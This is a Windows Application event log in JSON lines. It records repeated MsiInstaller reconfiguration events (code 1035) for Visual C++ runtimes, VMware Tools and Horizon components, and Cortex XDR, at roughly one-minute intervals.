{"@timestamp":1657390810766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169614}}
{"@timestamp":1657390810792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169615}}
{"@timestamp":1657390810842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169616}}
{"@timestamp":1657390810882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169617}}
{"@timestamp":1657390810910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169618}}
{"@timestamp":1657390810942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169619}}
{"@timestamp":1657390810969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169620}}
{"@timestamp":1657390810995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169621}}
{"@timestamp":1657390811032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169622}}
{"@timestamp":1657390811060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169623}}
{"@timestamp":1657390870509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169624}}
{"@timestamp":1657390870536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169625}}
{"@timestamp":1657390870586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169626}}
{"@timestamp":1657390870627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169627}}
{"@timestamp":1657390870656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169628}}
{"@timestamp":1657390870687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169629}}
{"@timestamp":1657390870716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169630}}
{"@timestamp":1657390870744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169631}}
{"@timestamp":1657390870781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169632}}
{"@timestamp":1657390870810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169633}}
{"@timestamp":1657390930477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169634}}
{"@timestamp":1657390930504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169635}}
{"@timestamp":1657390930561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169636}}
{"@timestamp":1657390930607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169637}}
{"@timestamp":1657390930637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169638}}
{"@timestamp":1657390930669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169639}}
{"@timestamp":1657390930696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169640}}
{"@timestamp":1657390930722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169641}}
{"@timestamp":1657390930759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169642}}
{"@timestamp":1657390930787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169643}}
{"@timestamp":1657390990644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169644}}
{"@timestamp":1657390990687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169645}}
{"@timestamp":1657390990749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169646}}
{"@timestamp":1657390990789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169647}}
{"@timestamp":1657390990817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169648}}
{"@timestamp":1657390990848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169649}}
{"@timestamp":1657390990875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169650}}
{"@timestamp":1657390990902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169651}}
{"@timestamp":1657390990937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169652}}
{"@timestamp":1657390990965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169653}}
{"@timestamp":1657391050588,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169654}}
{"@timestamp":1657391050615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169655}}
{"@timestamp":1657391050665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169656}}
{"@timestamp":1657391050706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169657}}
{"@timestamp":1657391050735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169658}}
{"@timestamp":1657391050772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169659}}
{"@timestamp":1657391050832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169660}}
{"@timestamp":1657391050864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169661}}
{"@timestamp":1657391050910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169662}}
{"@timestamp":1657391050944,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169663}}
{"@timestamp":1657391110672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169664}}
{"@timestamp":1657391110699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169665}}
{"@timestamp":1657391110748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169666}}
{"@timestamp":1657391110787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169667}}
{"@timestamp":1657391110814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169668}}
{"@timestamp":1657391110845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169669}}
{"@timestamp":1657391110872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169670}}
{"@timestamp":1657391110898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169671}}
{"@timestamp":1657391110935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169672}}
{"@timestamp":1657391110962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169673}}
{"@timestamp":1657391170506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169674}}
{"@timestamp":1657391170532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169675}}
{"@timestamp":1657391170582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169676}}
{"@timestamp":1657391170623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169677}}
{"@timestamp":1657391170650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169678}}
{"@timestamp":1657391170681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169679}}
